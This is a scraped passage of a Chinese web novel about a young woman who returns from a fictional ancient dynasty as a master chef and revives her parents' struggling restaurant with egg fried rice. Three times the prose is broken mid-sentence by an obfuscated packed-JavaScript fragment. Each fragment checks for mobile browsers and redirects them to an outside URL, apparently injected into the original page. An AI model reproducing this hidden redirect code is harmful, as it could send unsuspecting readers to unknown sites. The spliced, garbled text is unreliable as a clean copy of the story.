《开局一个小饭馆[美食]》 1. 第一章 “大半夜的做吃的？”楚楚窝在客厅沙发里，一边涂着指甲，一边朝厨房的方向瞥去。 “饿了。”许知味从冰箱里取出鸡蛋，准备做一份蛋炒饭。 “这都凌晨一点多了，做饭不怕吵到别人吗？”楚楚撇了撇嘴。 “你和欣欣都没睡，吵不到你们。” “我马上就去睡了！” “我记得你待会还要直播。” “你……”楚楚气结，狠狠瞪了许知味一眼。 许知味没理会她。灯光下，许知味那张脸显得格外沉静。楚楚皱了皱眉，冷哼一声，大步走回卧室，“砰”地一声甩上了门。 许知味！许知味！楚楚扑到床上，用力捶了一下泰迪熊，咬牙切齿。 她和许知味、姜欣是合租室友，三人大学毕业刚两个月，住在一起也不过两个多月。 她总觉得，许知味和姜欣在联手排挤她！ 不就是嫉妒她长得好看吗？楚楚冷笑。等她赚够了钱，一定要立刻搬出去，再也不和这两个贱人合租！ 她深吸一口气，努力平复情绪，准备开始直播。 隔壁房间，正在打游戏的姜欣听到摔门声，无语地翻了个白眼。 她和许知味是大学室友，毕业后一起合租。楚楚是另一个学校的，和她们凑到了一起。 起初，三人相处还算和谐。直到一个月前，楚楚辞了工作开始做直播，半夜里常常唱歌，吵得她和许知味不得安宁。说了好几次，楚楚却充耳不闻。 要不是押金退不了，姜欣早就想搬走了。 在心里默默吐槽了几句，姜欣继续打游戏。好不容易放周末，可得好好熬夜打打游戏。 虽然她爸妈多次叮嘱她不要熬夜，可是，好不容易放假，不熬夜，那这假期不就浪费了吗！ 做了两个月苦逼打工人，姜欣觉得只有晚上的时间属于自己，所以就会在放假时间放肆尽情地熬夜。不健康也要熬！ 公共厨房里，许知味手腕轻抖，蛋液倾入碗中。动作看似随意，却恰到好处，蛋壳上不留一丝黏液。 铁锅烧得微微泛青，她将蛋液饭扣入锅中，蛋炒好，倒入隔夜米饭。米粒在澄黄的蛋液中翻滚，颗颗裹上金衣，宛若秋阳下的稻浪。 火势正猛，许知味单手颠锅，满锅的金色米粒腾空翻飞，又精准落回锅中，一粒未洒。 撒入葱花，浓郁的香气瞬间融入饭中。 霎时，蛋的鲜、饭的香、葱的辛，仿佛被完全激发，交织成一股令人垂涎的浓香。 姜欣正打着游戏，忽然鼻尖一动。什么味道，这么香？她忍不住咽了咽口水，游戏的吸引力瞬间消失。她丢下手柄，循着香味走出去。 许知味正将炒饭装盘，每一粒米都仿佛活了过来，在金灿灿的蛋衣下泛着油光，映得青花盘格外明亮。 一转身，她就看到姜欣站在身后，眼巴巴地望着她。 “你今天炒的蛋炒饭怎么这么香？”姜欣忍不住问。 许知味的手艺一向不错，她是知道的。但许知味以前炒的蛋炒饭也没这么香，今天这蛋炒饭的香气，简直香得让人发晕！ “这段时间一直在练厨艺，厨艺长进了些。”许知味道。 “这样啊……不过你这进步也太大了吧！”姜欣一边说，一边不争气地咽口水。 看她那副馋样，许知味轻笑：“要来点吗？” “要要要！”姜欣忙不迭点头，生怕说慢了就没她的份了。 许知味分了她一些，姜欣捧着碗，眼睛发亮。碗中的米粒颗颗分明，蓬松如云。金黄的蛋液裹着每一粒饭，碧绿的葱花点缀其间，光是卖相就让人食指大动。 米饭炒透后独有的锅气，混着淡香米香葱香，热蓬蓬直往鼻子里钻。色香俱佳！她深吸一口气，迫不及待地舀了一勺送入口中。 一入口，鲜味便如潮水般在舌尖漾开，瞬间席卷了味蕾。 浓郁的鲜香里，饭粒咸淡适中，弹牙又润泽，透着一种说不出来的劲道，咀嚼时仿佛在齿间轻跃。 米饭的清香，蛋的绵软，葱的辛香，猪油的丰腴，在舌上完美融合。互不抢味，同时层层递进。 咽下去后，一股无法用语言描述出来的后劲，在喉头漫开，让人回味无穷。 “我的妈！”姜欣瞪大眼睛，“这也太好吃了吧……” 她简直不敢相信，这竟是一碗蛋炒饭。这真的是蛋炒饭？蛋炒饭真的能这么好吃？！ “知味，你的厨艺什么时候变得这么好了？我不是在做梦吧？” 许知味细嚼慢咽，微微一笑：“大概是我在这方面有点天赋。” 姜欣竖起大拇指，埋头猛吃起来，一口接一口，根本停不下来。 对面卧室门轻轻响动，许知味抬眼，注意到楚楚正探出头来，目光落在她们的蛋炒饭上。 四目相对，楚楚脸色一僵，“砰”地关上了门。 门内，楚楚使劲吸鼻子。怎么会这么香？香得她差点站不稳。 许知味什么时候厨艺这么好了？她舔舔嘴唇，只觉得肚子里空落落的。 明明才吃过夜宵，此刻却饿得像是三天没吃饭。她强忍着点外卖的冲动。身为一个颜值主播，她不能多吃，不能再胖了。 可门外的香气像钩子一样，不断撩拨着她的味蕾。捂鼻子也没用！ 该死的许知味，把蛋炒饭做这么香干什么？！ 她在心里咒骂着，不知过了多久，终究还是没忍住，点了一份外卖。 都怪许知味！下单后的楚楚咬牙切齿。 客厅里，许知味慢条斯理地吃着炒饭，白净温婉的脸上笼罩着一层宁和的沉静。像是寺庙里燃烧的檀香，给人一种宁然感。 火候还是没掌握好。她细细品味，心中评判。刚刚回到这具身体，肌肉记忆还有些生疏，这份蛋炒饭离她心目中的完美还差得远。 许知味穿越回来了。她曾穿越到一个叫大齐的架空朝代，父亲是位神厨。在父亲的教导下，她青出于蓝，成为了大齐第一神厨、第一尚食女官。 十八岁这年，她端着刚做好的拔丝苹果去见太子，不慎摔了一跤。这一摔，就把她摔回了现代。 她回到的时间点，是大学毕业两个月后。晚上六点多穿回来的。夜里她在床上静躺许久，平复情绪后，决定第二天就回家见父母。谁知辗转难眠，索性起来炒个蛋炒饭。 姜欣飞快地把饭扒完，意犹未尽地盯着许知味的碗。 还想再吃…… 楚楚的外卖送到时，许知味和姜欣已各自回房。她打开餐盒闻了闻。若是平时，这份外卖也算香了，可比起刚才那阵勾魂的香气，顿时显得索然无味。 差距如同天堑。她失望地放下筷子，心里又把许知味骂了一遍：都怪她！把蛋炒饭做那么香干什么？！ 第二天 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16578546|187214||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是周日。姜欣和楚楚罕见地没有睡懒觉，早早醒了。姜欣是被对昨晚蛋炒饭的想念馋醒的，楚楚也是如此。 姜欣顶着黑眼圈，殷勤地帮许知味冲麦片：“给。” “谢谢。” “知味，你什么时候再炒蛋炒饭呀？”她眼巴巴地望着许知味，目光灼灼。 “吃完早饭我要回老家。” “回老家？明天就上班了，回去干嘛？” “有点事。” 许知味穿越到古代十八年，算起来已近二十年没见过父母。本想昨天就回去，可惜没车票了，只能今早动身。 她的老家在海城，离工作的江城有五小时高铁车程。 晌午，海城春熙老街，一家名为“许记饭馆”的小店里，许爸许妈望着空荡荡的店面，愁容满面。 都中午了，一个食客也没有。店里的生意，越来越差了。 许爸许妈没什么文化，原在工厂做普工。因为常年两班倒、上夜班，身体吃不消，才辞了职。 许爸手艺不错，夫妻俩便在老街盘下这家小饭馆。生意还成，赚不了大钱，但足够维持生活。 今年是饭馆开业的第五年。周围新开的饭馆越来越多，饭馆生意受了影响。再加上外卖平台的兴起，店里的生意更是雪上加霜。 年初，眼见生意日渐萧条，他们决定也上线外卖平台。线上线下同时卖饭。 可根本竞争不过别人。尤其是竞争不过那些便宜又出餐快的预制菜外卖、黑心外卖。 老许家是老实人，不用黑心油、黑心料，更不用预制菜，坚持现做现卖，凭良心挣钱。 原以为靠着手艺和诚意能在平台上站稳脚跟，现实却给了他们一记重击。 只能说，他家的饭菜只是普通好吃，还没有好吃到能抵消别人的价格优势和其他优势。 再加上他家又没钱推广、买排位，外卖生意始终惨淡。 线上做不起来，线下也日渐冷清。 望着空荡的店面，夫妻俩相对无言，压抑的气氛弥漫开来。 这时，门边出现一个人影。许爸许妈心中一喜：终于来客人了？ 一个胖乎乎的大爷背着手走进来：“小许啊，房租什么时候交？这都九月十号了，你们拖了十天了！我已经宽限你们十天，够意思了吧。” 最近许爸许妈手头很紧。四月份许爷爷生病，家里这些年攒的十万块钱全用来做了手术，已分文不剩。生意又一天不如一天，家里现在只剩下一万多块。 房租一次要交三个月，一共一万零八百。交了房租，家里就只剩几百块了。 “王大爷，能不能再宽限几天？最近实在周转不开……” 王大爷看了看空荡的店面，知道他们不容易，叹口气：“最多再宽限一周。一周后要是还交不上，这店我真得收回来了。” 许爸许妈连声道谢。 送走王大爷，夫妻俩沉默相对。所谓的“宽限几天”，其实并不是几天后就能有钱交房租，而是他们夫妻需要这几天时间，认真思考，到底要不要关掉饭馆。 毕竟开了五年，说不舍是真的。 若是不关，就是继续亏钱。可若关掉，他们又能去做什么？回工厂继续两班倒熬夜班吗？他们四十多岁的年纪了，工厂还会要他们这么大年纪的人吗？ 对未来的迷茫，对生计的忧虑，让夫妻俩连吃饭的心情都没有了。 2. 第二章 整个大中午，店里只来了两位客人。许爸和许妈并肩坐在柜台后，目光一遍遍扫过这间八十平米的小饭馆。 六张木桌，十二条长板凳，每一个角落都深深烙印在他们的记忆里。这间陪伴了他们五年的小店，难道真的只能放弃了吗？ 夫妻俩愁容满面，一遍遍擦拭着桌子、柜台，仿佛只要双手不停，心里的愁绪就能暂时搁置。 桌子擦得锃亮时，许妈轻叹一声，起身出门买东西。 过了好一阵，珠帘掀动，有人走了进来。许爸抬头，一眼就看见了许知味：“知味？你怎么回来了？” 许知味快步走到许爸面前。她的父亲，黑，壮，蛮实，脸上是经历风霜与被生活打磨过的疲惫。 她一把抱住他：“爸，我想你了。也想妈了。” 许父一愣，慌忙擦了擦手，轻轻回抱住女儿：“是不是受委屈了？公司里有人欺负你？” 女儿才刚工作两个月，许爸担心女儿在外头受了欺负。 他立刻提高了嗓门：“谁欺负你了，爸帮你打回去！” 许知味松开许他，道：“没人欺负我，只是想你们了，就回来看看。” “真没事？” “真没事。” 许爸松下一口气。 许知味：“妈呢？” “刚才出去卖东西了，差不多也要回来了。” 话音刚落，就见许妈风风火火地跨进店门，嗓门洪亮：“哎哟那些老太太，抢起东西来比年轻人还利索，我都挤不进去！” 看到许知味，她声音陡然一转：“闺女，你这么回来了？” “想你们了，就回来了。”许知味上前抱住母亲。许妈的反应和许爸如出一辙，第一反应也是女儿受了委屈，连声追问。 许知味再三保证真的没事，许妈这才放下心来，轻轻摸着她的头：“吃晌午饭了吗？” “还没。” 许爸接话：“想吃什么，爸给你做去。” “豌杂面。”她最爱吃许爸做的豌杂面。 许爸道：“我去做，你俩都歇着。”说完便钻进后厨忙活起来。 许知味站在厨房门口，看着父亲壮实的背影。他系着那条洗得发白的围裙，动作利落地洗菜。 他炒肉酱，锅铲与铁锅碰撞的声音，是她从小听到大的交响曲，熟悉地音在她的每一寸脑海里。 面端上桌，热气腾腾。许爸特意多舀了几大勺肉酱，满得快要溢出来。碧绿的青菜衬着淡黄的面条和豌豆，朴实而温暖。 许知味拿起筷子，轻轻搅动面条。热气扑面，熏得她眼眶微湿。 对于作为大齐厨神的她来说，这碗豌杂面有着太多可以挑剔的地方。 杂酱火候稍过。汤底不够醇厚。面条煮得略软，少了些筋道。青菜下锅早了些，失去了最脆嫩的口感。各种调味料比例略微失衡。 每一处，都是寻常人家做饭常有的不足，每一处都不完美。 可是，当第一口面滑过喉咙，许知味的眼泪再也忍不住，大颗大颗地落进碗里。 就是这个味道。 在古代的十八年里，她站在天下厨艺之巅，尝遍山珍海味，无数珍馐。可每当夜深人静，她最想念的，就是这碗不够完美的豌杂面。 在古代时，她苦心钻研，试图复原这碗面的每一个细节，用最精细的刀工，最精准的火候，最上等的原料，却始终做不出这碗豌杂面的感觉。 她想要复原出来的豌杂面，是父亲精心做出来的面条，是父亲每天清晨去菜市场挑选的猪肉，是父亲一棵棵洗净的青菜，是这个小家里独有的咸淡，是无论走到哪里，成为什么样的人都无法复制的，家的味道。 御膳再精，不过是技艺的极致。而这碗面再朴，却是爱的化身。 她之所以复原不出来，不是技艺的差距，是心的距离。是爱的距离。 “怎么了？不好吃吗？”许爸问，“爸重新给你做一碗。” 许知味：“不，好吃，特别好吃。是因为太好吃了。” 她大口大口地吃着，不顾形象，仿佛要将这十八年错过的味道一次补回来。 “慢点吃，别噎着。”许爸轻轻拍着她的背，而许妈又去盛了一碗面汤。 许知味吸溜着面条，仿佛从未有过如此幸福。 此时此刻，对许知味而言，世间至味不在任何山珍海味、珍馐佳肴，而就在这一碗家人亲手做的寻常豌杂面里。 “你这孩子，有那么好吃吗，还给吃哭了。这么大的人了，吃个东西都能吃哭，怎么还跟小孩一样。”许妈一边嫌弃许知味，一边给许知味碗里舀肉酱，恨不得把所有肉酱都倒进许知味肚子里。 许知味擦擦泪，笑起来：“太好吃了忍不住。” 许爸见闺女这么爱吃，心里高兴：“要不再给你煮一碗？” “够了够了。” 吃完一海碗的豌杂面，许知味喝了几口凉茶。听许妈问：“怎么不昨天回来，今天都周日了，明天要上班，怎么赶得回去？” “明天不上班，最近公司没事，多放几天假。放到十三号。” “那还能在家多待几天。”许妈说着起身，“我去买些菜回来，晚上吃顿好的。” “不用了。”许知味知道家里现在不宽裕，“随便吃点就行。” 许妈没听，拿上钥匙就走了。她和许爸随便吃点没事，可不能委屈了闺女。好不容易回来一趟，怎么能不吃顿好的。 许妈离开后，许爸接到物业的电话，那边要上门维修水管。许知味道：“爸你去吧，我在店里守着。” “成。” 下午两点，饭点已过，店里只剩下许知味一人。她调整了下风扇的角度。现在家里拮据，店里的空调也舍不得开，只开着风扇。 许知味托腮，望着不停旋转的风扇出神。 “老板，现在还有啥吃的？”一个年轻男人走了进来。 许知味眼珠一转：“咱们店现在的招牌菜是蛋炒饭，您要不要尝尝？” “多少钱一份？” “八块。” “行，来一份吧。” “请问有什么忌口的吗。”许知味说了蛋炒饭里包含的配料。 “都可以。”年轻男子名叫李尚，他坐下来，拿起桌上的茶壶倒了杯茶，一饮而尽。 许知味来到后厨。她之所以要说招牌是蛋炒饭，是有原因的。 她若是一下子做什么都好吃，怎么解释？只能说是她这几个月潜心钻研蛋炒饭，所以现在蛋炒饭做得很好吃。然后在父母面前一日一日练习厨艺，一点一点将厨艺天赋展露出来，一点一点做出其它好吃的菜，也就顺理成章了。 李尚心情烦躁得很。本来今天休息，公司却临时叫他回去加班。中午开会拖了太久，耽误了吃饭时间。平时这个点，他早就吃过午饭了。 他也不想点外卖，就出来随便找一家饭馆吃饭。只希望以后上司别再耽误他吃饭的时间了！ 吃饭不规律，胃是要坏的！他愤恨地咒骂着自己的上司。 放假临时加班就算了，还耽误吃饭！李尚不停地腹诽。就在他不知道第几次在心里骂上司时，许知味端着一盘蛋炒饭走了过来：“您好，您的蛋炒饭。” 李尚看向蛋炒饭。见盘中蛋炒饭金灿灿，如金黄松散的云朵堆积，他微微讶异，这蛋炒饭，卖相可真漂亮。 忽然，蛋炒饭热腾腾的香气钻进鼻子里，李尚一愣。这么香？！他拿起勺子快速舀一勺。 香喷喷的蛋炒饭入口，咀嚼几下，一股子浓郁到几乎让舌头发麻的美妙滋味瞬间席卷而来。 “我靠！”李尚脱口而出。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16578547|187214||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 注意到李尚震惊到眼珠子都快蹦出来，许知味失笑。 “老板，这蛋炒饭是你炒的？” “嗯。” 他眼珠子瞪得更大，“老板你莫非是国宴大厨？” “不是。” “那你也太牛逼了吧！”他道，“以前我也来你们家吃过，也没这么好吃啊！你以前没在店里下过厨？” “下过厨。不过最近在钻研厨艺，厨艺比以前长进了些。” “牛逼。”说完李尚埋头继续吃蛋炒饭，生怕吃慢一点蛋炒饭就消失了。 飞快吃完一份，意犹未尽，他又点了第二份。此刻，因为临时加班、耽误饭点而产生的烦躁早已烟消云散，满心满眼只剩下一种难以言喻的幸福与满足。 太！好！吃！了！李尚吸溜口水。 小时候看动画片，看到主角会做出发光的食物，他曾天真地以为世上真有好吃到会发光的食物。稍大些后，才知道自己被动画片骗了。 世界上根本没有好吃到会发光的食物！ 但刚才，他仿佛真的看见那盘蛋炒饭在发光！ 虽然物理意义上并没有真正发光，但他感觉自己吃到了好吃到会发光的蛋炒饭！ 他伸长脖子望向厨房方向，半秒钟都等不及了，恨不得立刻就能吃上第二份。 怎么还没好？他仿佛从未如此焦急地等待过什么。当年高考等成绩都没这么着急。 等着等着，他忽然想起什么来，直接拨出去一个电话。 李尚的死党周晓明正在睡觉，被一阵刺耳的电话铃声吵醒。 “什么？超级好吃的蛋炒饭？哪家？许记饭馆？春熙老街那家？那家我们之前不是吃过吗，味道还行，但也不至于像你说的什么超级无敌螺旋升天好吃吧！” 李尚：“跟以前味道不一样！真的超级无敌巨好吃！你离这里近，七八分钟就能赶过来，快过来吃！” 听李尚不像在开玩笑，周晓明将信将疑：“难道是换老板了？” “还是原来那个老板。今天蛋炒饭是他女儿做的，老板女儿手艺居然这么好！绝了！” “真这么好吃？” “你来了不就知道了。” 大概十多分钟后，周晓明来到许记饭馆。这个时候李尚的第二份蛋炒饭已经吃完。若不是肚子实在吃不下，他还想再吃一碗。 见死党来了，李尚赶紧道：“老板，给他炒一份蛋炒饭，谢谢！” 许知味抬起头，温婉白净的秀气脸庞在灯光下显得格外柔和，她笑盈盈应道：“好，请稍等。” 周晓明望了一眼许知味，又看了一眼眼睛直勾勾盯住许知味的李尚，心里哼笑一声。 如果这老板女儿做的蛋炒饭真像李尚说的那么超级无敌好吃，这家店早就该出名了，不至于生意这么冷清。这家店生意不如周围饭馆好，他们先前来吃过几次，都有所了解。 李尚这小子，八成是看上老板女儿了，在给人家拉生意呢。不过话说回来，这老板的女儿确实长得好看，李尚动心也正常。 对上好友仿佛看透一切的眼神，李尚莫名其妙：“你什么眼神？” 周晓明啧一声：“别这么直勾勾盯着人家女孩子看，太明显了。” 李尚：“什么？” 周晓明：“兄弟给你个建议，追女孩子呢，要懂得分寸，别这么直勾勾的盯着人家看，人家可能会反感。” 李尚：“？？？什么鬼，你在说什么？” 周晓明：“还跟我装，我还不了解你？” 等听完周晓明后续的话，李尚无语凝噎：“……我追你个头！我不是因为看上她才帮她拉生意，是她做的蛋炒饭真的有那么好吃！” “鬼才信。” “你不信等下你吃了就知道了。” “啧，嘴还挺硬。” 3. 第 三 章 李尚不再多言。说再多也是徒劳，不如静待那盘蛋炒饭上桌。 周晓明见他沉默，只当是被自己说中了心思，无言以对，嘴角不由得浮起一丝得意的轻哼：“哼哼，你小子。” 这时，许妈提着菜回来了，见店里坐着两位客人，连忙招呼：“两位点餐了吗？想吃点什么？” 李尚应道：“点过了。” “好，那请稍等。”许妈快步走向后厨。一进去，一股浓烈霸道的香气便扑面而来，她脚步一顿，抬眼就看见在灶前忙碌的许知味。“怎么是你在忙活？你爸呢？” “物业来修水管，爸先回去了。” “你炒的什么，这么香？”许妈走近，见女儿正翻炒着蛋炒饭，喉头不自觉地滚动了一下，“今天的蛋炒饭怎么这么香？你加了什么？” “没加什么特别的。就是前阵子专心钻研学习了一下做蛋炒饭，感觉比以前进步了不少。”许知味说着，手腕一抖，锅子在她手中轻巧地颠动。 她的动作流畅自如，行云流水间，竟透出一种大师才有的气度。许妈看着女儿陌生的大师姿态，不由得愣住了。 不多时，金灿灿的蛋炒饭出锅，盛入盘中。许妈盯着那堆积如黄金的米饭，狠狠咽了下口水，强忍住尝一口的冲动。这可是客人的蛋炒饭，她尝不得。 “给我吧，我来端。”许妈接过盘子，忍不住低头深深一嗅。这香气，简直勾魂夺魄，香得有些不讲道理了。 她舔嘴唇，赶紧端着盘子往外走，生怕自己动作稍慢，就会忍不住埋头偷吃一口。 当那盘蛋炒饭放到周晓明面前时，弥漫的香气让他动作一滞。 “发什么呆，快尝尝！”李尚催促道。 周晓明舀起一勺送入口中，整个人猛地僵住。瞳孔微微放大，握着勺子的手停在半空。 口中的米饭粒粒分明，没有那种讨人厌的黏糊口感，松软中带着恰到好处的嚼劲。 鸡蛋的鲜味、米饭的清香、火腿的醇厚、葱花的辛香，种种滋味，噼里啪啦在味蕾上炸开。 各种味道交织融合，融合成了一股难以言喻的奇妙香气，萦绕于舌尖，让周晓明恍惚间想起了两年前刚毕业时的事。 那时他才毕业，囊中羞涩，又遭人诈骗，穷得每天三顿啃馒头，馋肉馋得眼睛发绿。 熬到发工资那晚，他立刻买了两斤肉，一口气吃了个精光。久违的肉香入口瞬间，他感觉似乎从来没吃过这么好吃的肉，仿佛整个灵魂都得到了升华，那是他从未体验过的极致满足。 而此刻，这盘蛋炒饭，竟带给了他同样的震撼。一种好吃到如同苦尽甘来、灵魂颤栗的幸福感和满足感，席卷了他。 “怎么样？”李尚挑眉问道。 周晓明没有回答，只是埋头又舀起一大勺，细细品味。蛋花蓬松软滑，米饭不油不干，火候与调味都拿捏得恰到好处，完美，堪称完美！ 这完蛋炒饭的味道，绝非他记忆中的许记饭馆能达到的水准！ 一盘蛋炒饭很快见了底，他不自觉地用勺子刮着盘底，将最后几粒米饭也送进嘴里。放下勺子时，脸上写满了困惑与难以置信。 “这……这真是许记的蛋炒饭？怎么会……这么好吃了？”他望向厨房方向，声音有些发干。 李尚抱着胳膊，道：“现在信我没骗你了吧？” 周晓明脸上顿时一热。是他错怪李尚了，还以为对方是为了给喜欢的女孩拉生意才夸大其词，没想到小丑竟是自己。 这蛋炒饭，何止是好吃，简直是超级无敌螺旋升天巨好吃！ 他有些窘迫地从喉咙里挤出话：“对不住啊兄弟，误会你了。我再请你吃一份？或者给你点个别的？” “你以为我不想吃？我是吃不下了。晚上吧，晚上再来。” “行。”周晓明从善如流，转头就又给自己点了一份。 这次，许知味多炒了一些，分给爸妈。还没炒完，许爸也回来了，于是又添了一份。 许爸许妈咀嚼着女儿炒的饭，眼睛瞪得溜圆。这真是他们女儿能做出来的味道？ 许妈一脸不可思议地端详着许知味：“你就钻研了几个月，能有这水平？是不是偷偷去哪儿拜师了？” 许知味摇头：“自己琢磨的，可能……我在这方面有点天赋。” 许爸塞了满嘴饭，乐呵呵道：“不愧是咱老许家的种！以前听你太爷爷说，咱家祖上出过御厨，我还不信呢，现在看来说不定是真的！咱闺女这是隔代遗传了老祖宗的手艺！” 许妈白了他一眼：“那你怎么没遗传到？” 许爸斩钉截铁：“这是运气，我没运气，所以到我身上不灵，到闺女这儿就灵了！” 见父母轻易接受了她炒蛋炒饭的手艺突飞猛进的说法，许知味微微莞尔。 饭后，客人离去，许妈粗略一算账。上午卖出一份十二块的麻婆豆腐饭，下午卖出四份蛋炒饭，扣除成本，净赚三十一块。 若不是女儿那四份蛋炒饭，今天恐怕只能赚到一份麻婆豆腐饭的钱。 她轻轻叹了口气，一回头，却见许爸正兴冲冲地围着女儿：“闺女，快跟爸说说，这蛋炒饭到底怎么炒的？也让爸学学。” “好啊。”许知味笑着应允。 厨房里，许知味语气平缓地讲解：“想炒出一碗好的蛋炒饭，绝不是简单地把食材混在一起翻搅。它更像一场食材与火候的共舞，目的是将每一种食材的‘底味’彻底激发，让它们在锅中完美融合。” 许爸许妈认真点头。 “火候，是蛋炒饭的灵魂。炒制时要分段掌控，激发锅气，再结合精准的调味……” 许知味手把手地教，耐心细致。最后，她强调：“出锅前，撒上剩余的葱花，立刻关火。利用余温逼出葱花的清香，既能保持葱花翠绿，又不会过熟发黄。爸妈，你们以前就是放葱花的时机没掌握好，所以颜色不好看，葱香也出不来，味道自然差了一筹。” 许爸许妈赶紧记下。 按照女儿教的方法，夫妻俩各自炒了一份。成品虽远不及许知味的手艺，但比他们之前做的已好了不止一点半点。 许爸兴奋地握拳：“要是以后我能把蛋炒饭做到知味这水平，咱家还愁没生意？” 许妈心头一动：“真要能有这本事，生意兴许真能好起来。” 许知味笑道：“不需要你们做得多好吃，有我在呢。”她顿了顿，语气变得认真，“爸，妈，我工作这两个月……感觉很累，很不喜欢现在的工作。我想辞职，留在家里帮忙。我的蛋炒饭做得不错，我想卖蛋炒饭。” 闻言，许爸许妈都愣住了。 许妈先开口：“你一个大学生，回来卖蛋炒饭？那这大学不白读了？” 许爸也皱起眉：“是啊知味，我们辛苦供你读书，就是盼着你找个轻松体面的工作，不用像我们这样起早贪黑。你这突然要回来炒饭……” 许知味眼神清澈而坚定：“爸，妈，我知道你们是为我好。但体面不体现在工作上，做自己喜欢且擅长的事，并能做好，这就是体面。” “我现在上班，每天都像上刑，很痛苦。但炒蛋炒饭，我很开心。我在公司画图、写代码，做得再好，也从未有过这种充实和快乐。这两个月，我每天下班研究蛋炒饭，一点都不觉得累。我想卖蛋炒饭，想把咱家饭馆的生意做起来。” 听女儿这么说，许爸许妈满是心疼：“你这孩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16578548|187214||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子，怎么不早说工作做得这么痛苦？老是报喜不报忧，我们还以为你干得挺好！” “之前怕你们担心。” 许妈一巴掌轻轻拍在女儿肩上，粗声粗气地说：“以后有事必须跟家里说，别瞒着！报喜不报忧才最让我们担心！” “知道了。那……妈，你们同意我留下来卖蛋炒饭了？” 沉默片刻，许妈松了口：“你既然做得开心，那就回来吧。不过餐饮这行，可不轻松。” “我能行。现在咱家生意不好，我打算先用蛋炒饭当招牌吸引客人，看看能不能把生意带动起来。” “那指定能！”许爸乐呵呵道，“你蛋炒饭做得这么好吃，肯定卖得好！没听下午那俩小子说晚上还来吗？”说着他又回味起那味道，忍不住吸吸口水。 许知味颔首：“但愿吧。” 四点半，幼儿园放学。许知味骑上小电驴，去接妹妹。 幼儿园门口，三岁的许毛毛乖乖坐在小凳子上等着，胖嘟嘟的小脸，小短腿一晃一晃。 发现许知味的身影，毛毛她愣了一下，随即像颗小炮弹似的冲过去：“姐姐！” 毛毛一把抱住许知味的大腿，仰起小脸甜甜地又喊了一声：“姐姐！回来啦！” “嗯，姐姐回来了，今天姐姐来接你。”许知味牵起妹妹肉乎乎的小手。 毛毛并非许知味的亲妹妹。她是许妈妹妹的女儿，也就是许知味的小表妹。 小姨和小姨夫在毛毛刚出生不久便因车祸去世，孩子无人照料，许爸许妈便决定接过来自己养，视如己出，对外也都说毛毛是亲生的。 幼儿园离饭馆不远，二十分钟车程便到。停好小电驴，许知味牵着毛毛走进饭馆。 这会儿快五点了。许家通常四点就提前吃晚饭，现在需要吃饭的只有毛毛。 小家伙拿着小勺子，大口吃着蛋炒饭，乌溜溜的大眼睛亮晶晶的：“饭饭，好吃！” 她从没吃过这么好吃的蛋炒饭，开心得小脚直晃。 许知味摸摸妹妹的圆脑袋：“慢点吃，别噎着。” “嗯！” 五点多钟，饭馆里依旧没有食客。许爸许妈坐在桌前，眼巴巴地望着门外人来人往的街道，期盼能有客人走进来。 许知味心里盘算着，明天可以搞个酬宾活动，比如蛋炒饭半价，先把客人吸引过来。只要尝过她的手艺，她不信留不住回头客。 正想着，就见隔壁开小卖部的杨爷爷和杨奶奶走进了店里。 “春华啊，我们老两口来吃饭了。” 许妈许春华立刻迎上笑脸：“杨爷爷杨奶奶，您二老想吃点什么？” “我们————” 许知味插话，笑盈盈地推荐：“杨爷爷杨奶奶，我们饭馆新推出了招牌蛋炒饭，味道很不错，您二老要不要尝尝？” 招牌蛋炒饭？杨爷爷杨奶奶对视一眼，点点头：“那就来两份蛋炒饭吧。” 杨奶奶点完餐，忽然想起什么：“知味，这周末放假回来了？” “回来有点事。”许知味笑着应道，转身和许爸一起进了后厨。 杨爷爷杨奶奶坐在桌边，和许妈唠起了家常。 杨奶奶杨奶奶在饭馆隔壁开小卖部，五年前许家刚搬来时，帮他们老两口搬过货，自此便熟络起来。 如今知道许记饭馆生意惨淡，可能开不下去了，他们特意过来吃饭，就是想支持一下许家的生意。 老两口平时节俭，若非为了帮衬许家，是绝不舍得下馆子的。 这份心意，许妈懂，许知味和许爸也懂。 所以炒饭时，许知味特意给二老多加了些分量，让他们花同样的钱，能吃得更实惠。 4. 第 四章 许妈和杨爷爷杨奶奶拉着家常，后厨传来乒乒乓乓的忙碌声。原本趴在小桌上画画的毛毛，丢下彩彩笔，迈着小短腿飞奔进了厨房。 许知味正翻炒着锅里的饭，忽然觉得腿上一沉。低头一看，毛毛像只树袋熊似的抱住了她的腿。 “饭饭，香香！”毛毛仰着小脸，奶声奶气地央求，“毛毛再吃！” “不是刚吃过没多久吗，又饿了？”许知味哭笑不得。 毛毛用肉乎乎的小手揉了揉圆鼓鼓的肚子，一本正经：“饿，毛毛吃饭饭。” 